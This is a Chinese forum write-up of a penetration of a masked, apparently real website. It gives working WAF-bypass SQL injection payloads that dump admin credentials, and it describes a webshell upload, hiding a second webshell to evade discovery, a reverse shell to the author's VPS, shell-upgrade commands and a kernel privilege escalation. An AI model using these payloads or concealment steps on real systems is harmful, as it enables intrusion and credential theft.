# 渗透实战 | 简单的拿下项目的root权限

**URL:** <https://forum.90sec.com/t/topic/1257>\
**Category:** 技术文章\
**Created:** [2020 年8 月 18 日 04:29 UTC](https://forum.90sec.com/t/topic/1257 "2020-08-18T04:29:41Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![nanfang](https://forum.90sec.com/user_avatar/forum.90sec.com/nanfang/32/5714_2.png) [@nanfang](https://forum.90sec.com/u/nanfang)\
发布日期： [2020 年8 月 18 日 04:29 UTC](https://forum.90sec.com/t/topic/1257/1 "2020-08-18T04:29:41Z")

</div>

**0x00**  **前言**

分享一个简单的项目，小有坎坷但仍旧几乎畅通无阻的最终拿下root权限。

先说重要的事情：如有 **漏码少码** 导致能定位目标请各位师傅手下留情。

 ![图片](https://forum.90sec.com/uploads/default/original/2X/1/13d01d6e5142de1754eb8f0f35fd856882181fcf.png)

**0x01**  **信息收集**

过程略，收集到目标的主站、邮服、dns服务器，之后选择从主站入手。

**0x02**  **漏洞挖掘**

先在域名后随手加一个 **admin** 找到后台。

 ![图片](https://forum.90sec.com/uploads/default/original/2X/8/8674a3d5477b5490b033d00ad22301efbd6b0c3d.jpeg)

回到前台，随意点点，发现可疑参数 **id**

 ![图片](https://forum.90sec.com/uploads/default/original/2X/e/eff79944d9188d03b69a6d38a8eaf8b7b19543ea.png)

```auto
?id=125 and 1=0 页面变空白?id=125 and 1=1  
页面恢复正常确认存在数字型注入，数字型注入的payload后面一般不用加注释
(图略，打码太累了)

```

![图片](https://forum.90sec.com/uploads/default/original/2X/4/49f9d6c196fef63c0f74c4997f15627d217f37c7.png)

```auto
?id=125 order by 7 页面正常?id=125 order by 8 
页面报错确认注入点查询7列（图略，打码太累了）

```

```auto
?id=125 union select 1,2,3,4,5,6,7  
使用union联合查询注入确认回显点时存在问题，页面迟迟无响应。

```

 ![图片](https://forum.90sec.com/uploads/default/original/2X/d/d6e9c8274a2d1a53fb898580f057873252bb44ca.png)

猜想是有waf做了过滤，接下来逐步测试 **waf** 到底过滤了什么东西。

每个waf都有自己的过滤特征(以前的安全狗是出现一只狗)，可以判断该waf的过滤特征就是页面无响应.

所以出现其他情况（正常回显，数据库报错等）都可判断是 **绕过waf成功**

```auto
 ?id=125 union 页面报错而不是无响应，说明waf没有过滤un 

```

 ![图片](https://forum.90sec.com/uploads/default/original/2X/b/b4e343b0264d16560fba5658978a974752b763d6.png)

```auto
?id=125 union select 页面无响应，说明过滤了select或union select

```

 ![图片](https://forum.90sec.com/uploads/default/original/2X/f/f71b81edd8dfb22c8a7c63115fa68ace956f5c0a.png)

```auto
?id=125 union sElecT 
关键字大小写混用尝试绕过，页面依旧无响应，绕过失败（图略）

?id=125union /*!sElecT*/ mysql内联注释尝试绕过过滤，页面报错，绕过成功

```

 ![图片](https://forum.90sec.com/uploads/default/original/2X/1/1404d315d7924bf695e947f14cb9b2df400de084.png)

```auto
?id=125 union /*!sElecT*/ 1,2,3,4,5,6,7 
确认回显列，却没有在页面发现数字回显，依旧是正常显示着新闻。
(图略，打码太累了)

```

![图片](https://forum.90sec.com/uploads/default/original/2X/4/49f9d6c196fef63c0f74c4997f15627d217f37c7.png)

```auto
?id=0 union /*!sElecT*/ 1,2,3,4,5,6,7 
怀疑是代码没有用循环输出，所以只能显示查询出的第一列，
正常查询的结果干扰了我们注入的回显。
于是更改前面的id为0，让程序查不出正常的数据，成功发现第2和第5列回显

```

 ![图片](https://forum.90sec.com/uploads/default/original/2X/0/00048362c516fc0cf3d125bb9b60684fa7bf5108.png)

通过information\_schema数据库找表找列的注入过程略，最终查出管理员账号密码的payload.

如下 **:**

**(中间又被waf拦了一次，于是将内联注释做了一个升级，空格和union关键字也做了混淆最终绕过)**

```auto
id=0/ **/UniOn/** //*!50000sEleCt*/1,2,3,4,group_concat(concat_ws(‘@’,username,pwd)separator ‘<br>’),6,7/ **/From/** /admin

```

这里解释一下， **concat\_ws函数** 是将多个列的结果合并返回，以第一个参数为分割符。 **group\_concat** 则是多个行的结果合并返回，以 **separator后面指定的参数** (换行符)为分隔符，于是一条payload即可注出表中所有数据。

![图片](https://forum.90sec.com/uploads/default/original/2X/1/1ef7960dc8ae262ea706eee9bd12c2b89b496447.png)

登陆后台找到编辑器功能。

![图片](https://forum.90sec.com/uploads/default/original/2X/4/4b706d15096e1e1fa79db8d833cc8e6f5308a374.png)

上传图片处没有限制后缀也没有检测内容，上传webshell成功。

![图片](https://forum.90sec.com/uploads/default/original/2X/d/d1a602033523982b6ae1cd4d74dab1475d7a0528.png)

右键查看图片地址，访问却404 Not Found了。

 ![图片](https://forum.90sec.com/uploads/default/original/2X/0/0b1f04f9921989e2b41f3d3f23c1679ce8c2bf4e.png)

查看编辑器框架的源代码。

![图片](https://forum.90sec.com/uploads/default/original/2X/5/551d46a162e252bfde13c21ebfadc9b19f9a60ea.jpeg)

发现可疑链接

 ![图片](https://forum.90sec.com/uploads/default/original/2X/6/64ed929c19dddaee6d3e2e53cc50a8670b3cfef5.png)

尝试访问并测试成功，后面猜测 **/resizeimage** 里存放的是缩略图，上传的php文件无法处理成缩略图形式所以404，而 **uploadfiles** 里面存放的是原图。

 ![图片](https://forum.90sec.com/uploads/default/original/2X/4/41b5dd5516b3feb64e806ac2c0ad8277c19eb461.png)

蚁剑连接成功，特别喜欢这个绿色的小框框。  
 ![图片](https://forum.90sec.com/uploads/default/original/2X/9/93fc5424ef08869c4e9ecc3f767a2d975940537f.png)

在隐蔽的目录下藏一个新的webshell，然后去后台把刚才的webshell删除，避免被轻易发现。  
 ![图片](https://forum.90sec.com/uploads/default/original/2X/c/ce747b33ca6a8ba8bdbccb82c0b51800bdc67ecd.png)

**0x03**  **反弹shell**

用户权限不高，接下来尝试提权

![图片](https://forum.90sec.com/uploads/default/original/2X/4/4f25c68edcf536207d47fe116722049be4fc8723.png)

因为webshell基于 **http协议（无状态协议）** ，

前后操作没有关联，提权成功后下次操作还是会回到原点。所以要先反弹一个shell出来，这里用自己的vps，先关闭vps的防火墙。

 ![图片](https://forum.90sec.com/uploads/default/original/2X/a/af64767e69944f0e43899c446b4b8b4f1ca53ba4.jpeg)

然后在vps上用nc监听9999端口。

![图片](https://forum.90sec.com/uploads/default/original/2X/e/ec4c5e8c12c0966555ecd1c1f4d30185285f70d4.png)

用webshell给目标服务器写入一个py的反弹脚本。

![图片](https://forum.90sec.com/uploads/default/original/2X/2/22457b438a5415b6e40d9dac3fee39e571e49272.png)

在蚁剑上执行py脚本，可以看到vps上成功接收到shell。

![图片](https://forum.90sec.com/uploads/default/original/2X/3/3ed029f104867a72a65d24d6bd5f74845e73c750.png)

此时的shell仍然不是一个交互式shell，不能执行 **交互性工作** 和 **su命令** ，需要用 **pty库** 模拟一个终端出来，并用stty升级成完全交互式shell。

![图片](https://forum.90sec.com/uploads/default/original/2X/7/7ec68fe6c8627f7c34b7155be0960b0dcfa712c3.png)

看图不清楚的，文字描述过程如下：

> _ **$** _ _python -c 'import pty;pty.spawn("/bin/bash")'_
> 
> _Ctrl+Z_
> 
> _//_ _这里是反弹shell挂起后在本机shell里的操作，stty升级后用fg把挂起的shell调出到前台_
> 
> _ **$** _ _stty raw -echo_
> 
> _ **$** _ _fg_
> 
> _//_ _这里重新进入了反弹shell，一开始页面会有点怪，执行了reset后就会恢复_
> 
> _ **$** _ _reset_
> 
> _ **$** _ _export SHELL=bash_
> 
> _ **$** _ _export TERM=xterm-256color_
> 
> _ **$** _ _stty rows columns_

**0x04**  **提升权限**

开始提权，尝试使用 **suid提权** ：带有s标志的文件运行时会以创建者而非使用者的权限运行，一些敏感命令如果带有s属性可以用来提权。

查找了所有s标志位文件，试图用ping命令提权失败（忘了截图了）。

 ![图片](https://forum.90sec.com/uploads/default/original/2X/f/f6dc366505864900c0f7c85fa4c44445b9f8ec19.jpeg)

改变思路，利用linux内核漏洞CVE-2012-0056成功提权。

 ![图片](https://forum.90sec.com/uploads/default/original/2X/4/466348255472a2deed493691f899c010ea83df3d.jpeg)

后面没了，内网渗透？

![图片](https://forum.90sec.com/uploads/default/original/2X/8/8a8018108fbd39bc774d904156ae5d314cdb529a.jpeg)

**0x05**  **总结**

**攻击链：**  **前台sql注入** —— **绕过waf** —— **后台文件上传** —— **找到真实上传路径** —— **反弹shell** —— **升级shell** —— **内核漏洞提权** 。

如有 **漏码少码** 导致能定位目标请各位师傅手下留情.

欢迎关注公众号：安译Sec

 ![微信图片_20200818122832](https://forum.90sec.com/uploads/default/original/2X/a/a45b6c7ae4fd810e17811b75ac31ff6ee43282fe.jpeg)
